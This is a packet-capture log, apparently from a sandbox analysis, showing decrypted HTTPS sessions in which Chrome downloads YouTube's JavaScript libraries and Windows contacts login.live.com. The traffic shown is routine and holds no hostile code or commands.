2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 62 2c 6e 2c 66 2c 4b 2c 75 29 7b 66 6f 72 28 75 3d 35 35 3b 36 30 21 3d 75 3b 29 69 66 28 38 31 3d 3d 75 29 75 3d 33 3d 3d 28 72 3e 3e 31 26 32 37 29 3f 34 37 3a 36 34 3b 65 6c 73 65 20 69 66 28 35 36 3d 3d 75 29 30 3d 3d 3d 74 68 69 73 2e 6e 3f 4b 3d 5b 30 2c 30 5d 3a 28 74 68 69 73 2e 4a 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 4c 29 7b 72 65 74 75 72 6e 20 65 2d 4c 7d 29 2c 4b 3d 5b 74 68 69 73 2e 6e 2c 74 68 69 73 2e 4a 5b 74 68 69 73 2e 4a 2e 6c 65 6e 67 74 68 3e 3e 31 5d 5d 29 2c 75 3d 31 33 3b 65 6c 73 65 7b 69 66 28 37 38 3d 3d 75 29 72 65 74 75 72 6e 20 4b 3b 69 66 28 31 33 3d 3d 75 29 75 3d 72 3c 3c 32 26 31 35 3f 33 39 3a 39 37 3b 65 6c 73 65 20 69 66 28 35 3d 3d 75 29 54 3d 64 28 31 32 2c 4f 2c 5a 29 3f 21 21 5a 2e 63 61 70 74 75 72 Data Ascii: b,n,f,K,u){for(u=55;60!=u;)if(81==u)u=3==(r>>1&27)?47:64;else if(56==u)0===this.n?K=[0,0]:(this.J.sort(function(e,L){return e-L}),K=[this.n,this.J[this.J.length>>1]]),u=13;else{if(78==u)return K;if(13==u)u=r<<2&15?39:97;else if(5==u)T=d(12,O,Z)?!!Z.captur
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 39 3a 33 32 3b 65 6c 73 65 20 69 66 28 34 30 3d 3d 75 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 61 6e 64 20 61 74 74 61 63 68 45 76 65 6e 74 20 61 72 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 22 29 3b 7d 7d 7d 2c 46 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 45 2c 4f 2c 57 2c 5a 2c 4d 2c 41 2c 76 2c 42 2c 54 2c 62 2c 6e 2c 66 2c 4b 29 7b 66 6f 72 28 66 3d 39 30 3b 33 38 21 3d 66 3b 29 69 66 28 31 32 3d 3d 66 29 66 3d 28 72 5e 31 35 29 3e 3e 34 3f 39 3a 38 30 3b 65 6c 73 65 20 69 66 28 31 39 3d 3d 66 29 4f 2b 3d 38 31 39 32 2c 66 3d 36 33 3b 65 6c 73 65 20 69 66 28 36 35 3d 3d 66 29 5a 3d 76 6f 69 64 20 30 2c 66 3d 37 38 3b 65 6c 73 65 20 69 66 28 38 33 3d 3d 66 29 66 3d 28 72 26 31 31 38 29 3d 3d 72 3f 30 3a 35 Data Ascii: 9:32;else if(40==u)throw Error("addEventListener and attachEvent are unavailable.");}}},F=function(r,E,O,W,Z,M,A,v,B,T,b,n,f,K){for(f=90;38!=f;)if(12==f)f=(r^15)>>4?9:80;else if(19==f)O+=8192,f=63;else if(65==f)Z=void 0,f=78;else if(83==f)f=(r&118)==r?0:5
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 6c 69 73 74 65 6e 65 72 2c 45 2e 68 66 26 26 42 64 28 6e 75 6c 6c 2c 22 6f 6e 22 2c 45 2c 38 29 2c 41 3d 5a 2e 63 61 6c 6c 28 4d 2c 57 29 2c 66 3d 32 32 29 3a 37 33 3d 3d 66 3f 66 3d 31 39 3c 3d 72 3e 3e 32 26 26 32 38 3e 72 3e 3e 32 3f 34 38 3a 38 33 3a 34 30 3d 3d 66 26 26 28 66 3d 57 3f 38 36 3a 36 35 29 7d 7d 2c 4e 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 45 2c 4f 2c 57 2c 5a 2c 4d 2c 41 2c 76 29 7b 66 6f 72 28 41 3d 33 38 3b 38 39 21 3d 41 3b 29 69 66 28 33 38 3d 3d 41 29 41 3d 36 3b 65 6c 73 65 20 69 66 28 34 37 3d 3d 41 29 76 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 58 29 26 26 72 5b 6e 58 5d 7c 7c 28 72 5b 6e 58 5d 3d 2b 2b 66 58 29 2c 41 3d 38 30 3b 65 6c 73 65 20 69 66 Data Ascii: listener,E.hf&&Bd(null,"on",E,8),A=Z.call(M,W),f=22):73==f?f=19<=r>>2&&28>r>>2?48:83:40==f&&(f=W?86:65)}},N=function(r,E,O,W,Z,M,A,v){for(A=38;89!=A;)if(38==A)A=6;else if(47==A)v=Object.prototype.hasOwnProperty.call(r,nX)&&r[nX]\|\|(r[nX]=++fX),A=80;else if
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 34 3e 28 72 3c 3c 31 26 36 29 3f 35 33 3a 34 36 3a 37 39 3d 3d 54 3f 54 3d 28 72 2d 35 5e 32 38 29 3c 72 26 26 28 72 2b 32 5e 32 32 29 3e 3d 72 3f 32 34 3a 34 35 3a 38 31 3d 3d 54 3f 28 42 2b 2b 2c 54 3d 32 30 29 3a 37 36 3d 3d 54 26 26 28 54 3d 32 30 29 7d 7d 2c 71 58 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 45 2c 4f 2c 57 2c 5a 2c 4d 2c 41 2c 76 2c 42 2c 54 2c 62 2c 6e 29 7b 66 6f 72 28 6e 3d 38 3b 39 34 21 3d 6e 3b 29 7b 69 66 28 38 35 3d 3d 6e 29 72 65 74 75 72 6e 20 62 3b 32 39 3d 3d 6e 3f 6e 3d 28 57 2b 34 5e 32 37 29 3e 3d 57 26 26 28 57 2d 32 7c 32 37 29 3c 57 3f 34 3a 72 3a 38 3d 3d 6e 3f 6e 3d 32 39 3a 34 3d 3d 6e 3f 28 62 3d 28 76 3d 6d 79 5b 41 2e 73 75 62 73 74 72 69 6e 67 28 45 2c 33 29 2b 22 5f 22 5d 29 3f 76 28 41 2e 73 75 62 73 74 72 69 6e 67 Data Ascii: 4>(r<<1&6)?53:46:79==T?T=(r-5^28)<r&&(r+2^22)>=r?24:45:81==T?(B++,T=20):76==T&&(T=20)}},qX=function(r,E,O,W,Z,M,A,v,B,T,b,n){for(n=8;94!=n;){if(85==n)return b;29==n?n=(W+4^27)>=W&&(W-2\|27)<W?4:r:8==n?n=29:4==n?(b=(v=my[A.substring(E,3)+"_"])?v(A.substring
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 72 67 65 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 62 75 74 74 6f 6e 3d 74 68 69 73 2e 73 63 72 65 65 6e 59 3d 74 68 69 73 2e 73 63 72 65 65 6e 58 3d 74 68 69 73 2e 63 6c 69 65 6e 74 59 3d 74 68 69 73 2e 63 6c 69 65 6e 74 58 3d 74 68 69 73 2e 6f 66 66 73 65 74 59 3d 74 68 69 73 2e 6f 66 66 73 65 74 58 3d 30 2c 74 68 69 73 2e 6b 65 79 3d 22 22 2c 74 68 69 73 2e 63 68 61 72 43 6f 64 65 3d 74 68 69 73 2e 6b 65 79 43 6f 64 65 3d 30 2c 74 68 69 73 2e 6d 65 74 61 4b 65 79 3d 74 68 69 73 2e 73 68 69 66 74 4b 65 79 3d 74 68 69 73 2e 61 6c 74 4b 65 79 3d 74 68 69 73 2e 63 74 72 6c 4b 65 79 3d 66 61 6c 73 65 2c 74 68 69 73 2e 73 74 61 74 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 70 6f 69 6e 74 65 72 49 64 3d 30 2c 74 68 69 73 2e 70 6f 69 6e 74 65 72 54 79 70 65 3d 22 22 2c 74 Data Ascii: rget=null,this.button=this.screenY=this.screenX=this.clientY=this.clientX=this.offsetY=this.offsetX=0,this.key="",this.charCode=this.keyCode=0,this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=false,this.state=null,this.pointerId=0,this.pointerType="",t
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 3d 72 29 3a 37 39 3d 3d 62 3f 28 74 68 69 73 2e 46 3d 42 2c 62 3d 37 31 29 3a 33 33 3d 3d 62 3f 62 3d 4f 3f 38 38 3a 38 31 3a 37 32 3d 3d 62 3f 62 3d 45 3f 38 39 3a 37 38 3a 33 39 3d 3d 62 26 26 28 62 3d 33 36 29 7d 7d 2c 43 58 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 45 2c 4f 2c 57 2c 5a 2c 4d 2c 41 2c 76 2c 42 2c 54 29 7b 66 6f 72 28 54 3d 32 31 3b 39 21 3d 54 3b 29 69 66 28 54 3d 3d 45 29 7b 61 3a 7b 66 6f 72 28 76 20 69 6e 20 4d 29 69 66 28 41 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 4d 5b 76 5d 2c 76 2c 4d 29 29 7b 42 3d 4f 3b 62 72 65 61 6b 20 61 7d 42 3d 57 7d 54 3d 33 38 7d 65 6c 73 65 7b 69 66 28 54 3d 3d 72 29 72 65 74 75 72 6e 20 42 3b 33 38 3d 3d 54 3f 54 3d 28 5a 7c 31 36 29 3d 3d 5a 3f 37 30 3a 72 3a 32 31 3d 3d 54 3f 54 3d 36 30 3a 37 30 3d 3d 54 Data Ascii: =r):79==b?(this.F=B,b=71):33==b?b=O?88:81:72==b?b=E?89:78:39==b&&(b=36)}},CX=function(r,E,O,W,Z,M,A,v,B,T){for(T=21;9!=T;)if(T==E){a:{for(v in M)if(A.call(void 0,M[v],v,M)){B=O;break a}B=W}T=38}else{if(T==r)return B;38==T?T=(Z\|16)==Z?70:r:21==T?T=60:70==T
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 54 29 7b 72 65 74 75 72 6e 21 77 28 54 2c 30 2c 31 35 2c 57 29 7d 29 2e 6a 6f 69 6e 28 22 20 22 29 2c 37 2c 4f 2c 22 63 6c 61 73 73 22 29 2c 76 3d 35 34 3b 65 6c 73 65 20 69 66 28 33 39 3d 3d 76 29 57 28 66 75 6e 63 74 69 6f 6e 28 54 29 7b 54 28 4f 29 7d 29 2c 42 3d 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4f 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 5d 2c 76 3d 39 39 3b 65 6c 73 65 20 69 66 28 33 3d 3d 76 29 7b 69 66 28 4d 3d 57 2e 6c 65 6e 67 74 68 2c 4d 3e 4f 29 7b 66 6f 72 28 41 3d 28 5a 3d 41 72 72 61 79 28 4d 29 2c 4f 29 3b 41 3c 4d 3b 41 2b 2b 29 5a 5b 41 5d 3d 57 5b 41 5d 3b 42 3d 5a 7d 65 6c 73 65 20 42 3d 5b 5d 3b 76 3d 39 38 7d 65 6c 73 65 20 39 39 3d 3d 76 3f 76 3d 28 45 7c 36 34 29 3d 3d 45 3f 39 36 3a Data Ascii: unction(T){return!w(T,0,15,W)}).join(" "),7,O,"class"),v=54;else if(39==v)W(function(T){T(O)}),B=[function(){return O},function(){}],v=99;else if(3==v){if(M=W.length,M>O){for(A=(Z=Array(M),O);A<M;A++)Z[A]=W[A];B=Z}else B=[];v=98}else 99==v?v=(E\|64)==E?96:
2024-01-17 23:34:52 UTC	1252	IN	Data Raw: 3d 28 4f 5e 32 34 29 3f 72 3a 36 37 3b 65 6c 73 65 20 69 66 28 33 39 3d 3d 62 29 74 68 69 73 2e 6e 2b 2b 2c 62 3d 35 35 3b 65 6c 73 65 20 69 66 28 35 31 3d 3d 62 29 74 68 69 73 2e 4a 2e 70 75 73 68 28 5a 29 2c 62 3d 38 38 3b 65 6c 73 65 20 69 66 28 35 33 3d 3d 62 29 57 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 74 68 69 73 2e 6e 29 2c 35 30 3e 57 26 26 28 74 68 69 73 2e 4a 5b 57 5d 3d 5a 29 2c 62 3d 38 38 3b 65 6c 73 65 20 69 66 28 35 35 3d 3d 62 29 62 3d 35 30 3e 74 68 69 73 2e 4a 2e 6c 65 6e 67 74 68 3f 35 31 3a 35 33 3b 65 6c 73 65 20 69 66 28 34 34 3d 3d 62 29 62 3d 45 3b 65 6c 73 65 20 69 66 28 36 37 3d 3d 62 29 72 65 74 75 72 6e 20 54 7d 2c 71 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 45 2c 4f 2c 57 2c 5a 2c 4d 2c 41 2c Data Ascii: =(O^24)?r:67;else if(39==b)this.n++,b=55;else if(51==b)this.J.push(Z),b=88;else if(53==b)W=Math.floor(Math.random()*this.n),50>W&&(this.J[W]=Z),b=88;else if(55==b)b=50>this.J.length?51:53;else if(44==b)b=E;else if(67==b)return T},q=function(r,E,O,W,Z,M,A,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49794	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:52 UTC	1170	OUT	GET /s/desktop/80338919/jsbin/custom-elements-es5-adapter.vflset/custom-elements-es5-adapter.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:53 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 2051 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28964 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:53 UTC	566	IN	Data Raw: 27 75 73 65 20 73 74 72 69 63 74 27 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 36 20 54 68 65 20 50 6f 6c 79 6d 65 72 20 50 72 6f 6a 65 63 74 20 41 75 74 68 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 54 68 69 73 20 63 6f 64 65 20 6d 61 79 20 6f 6e 6c 79 20 62 65 20 75 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 42 53 44 20 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 20 66 6f 75 6e 64 20 61 74 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 4c 49 43 45 4e 53 45 2e 74 78 74 0a 20 54 68 65 20 63 6f 6d 70 6c 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 Data Ascii: 'use strict';/* Copyright (c) 2016 The Polymer Project Authors. All rights reserved. This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt The complete set of authors may be found at http://polymer.github
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 48 54 4d 4c 45 6c 65 6d 65 6e 74 2c 6d 3d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 2c 6e 3d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 67 65 74 2c 6b 3d 6e 65 77 20 4d 61 70 2c 6c 3d 6e 65 77 20 4d 61 70 2c 65 3d 21 31 2c 66 3d 21 31 3b 77 69 6e 64 6f 77 2e 48 54 4d 4c 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 65 29 7b 76 61 72 20 61 3d 6b 2e 67 65 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3b 61 3d 6e 2e 63 61 6c 6c 28 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2c 61 29 3b 66 3d 21 30 3b 72 65 74 75 72 6e 20 6e 65 77 20 61 7d 65 3d 21 31 7d 3b 77 69 6e 64 6f 77 2e 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 3d Data Ascii: HTMLElement,m=window.customElements.define,n=window.customElements.get,k=new Map,l=new Map,e=!1,f=!1;window.HTMLElement=function(){if(!e){var a=k.get(this.constructor);a=n.call(window.customElements,a);f=!0;return new a}e=!1};window.HTMLElement.prototype=
2024-01-17 23:34:53 UTC	233	IN	Data Raw: 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 67 65 74 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 73 65 74 28 62 29 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 7d 7d 29 7d 7d 7d 29 28 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 62 6c 61 7a 65 2d 6f 75 74 2f 6b 38 2d 6f 70 74 2f 62 69 6e 2f 74 68 69 72 64 5f 70 61 72 74 79 2f 6a 61 76 61 73 63 72 69 70 74 2f 63 75 73 74 6f 6d 5f 65 6c 65 6d 65 6e 74 73 2f 66 61 73 74 2d 73 68 69 6d 2e 6a 73 2e 73 6f 75 72 63 65 6d 61 70 0a Data Ascii: configurable:!0,get(){return a},set(b){Object.defineProperty(this,"constructor",{value:b,configurable:!0,writable:!0})}})}}})();//# sourceMappingURL=blaze-out/k8-opt/bin/third_party/javascript/custom_elements/fast-shim.js.sourcemap

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49793	40.126.24.84	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-01-17 23:34:53 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-01-17 23:34:53 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 17 Jan 2024 23:33:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C107_BL2 x-ms-request-id: 11cfd2b3-cb7f-47a0-93e3-859227cfd4f2 PPServer: PPV: 30 H: BL02EPF0000E77D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 17 Jan 2024 23:34:52 GMT Connection: close Content-Length: 11369
2024-01-17 23:34:53 UTC	11369	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49797	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:53 UTC	1148	OUT	GET /s/desktop/80338919/jsbin/webcomponents-sd.vflset/webcomponents-sd.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:53 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 78646 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28964 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:53 UTC	565	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 6b 3b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 Data Ascii: (function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var k;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function p(a){var b="undefined"!=typeof Symbol&&Symbol.itera
2024-01-17 23:34:53 UTC	1252	IN	Data Raw: 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 7d 76 61 72 20 63 61 3d 62 61 28 74 68 69 73 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 66 6f 72 28 76 61 72 20 61 Data Ascii: &&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ca=ba(this);function r(){for(var a
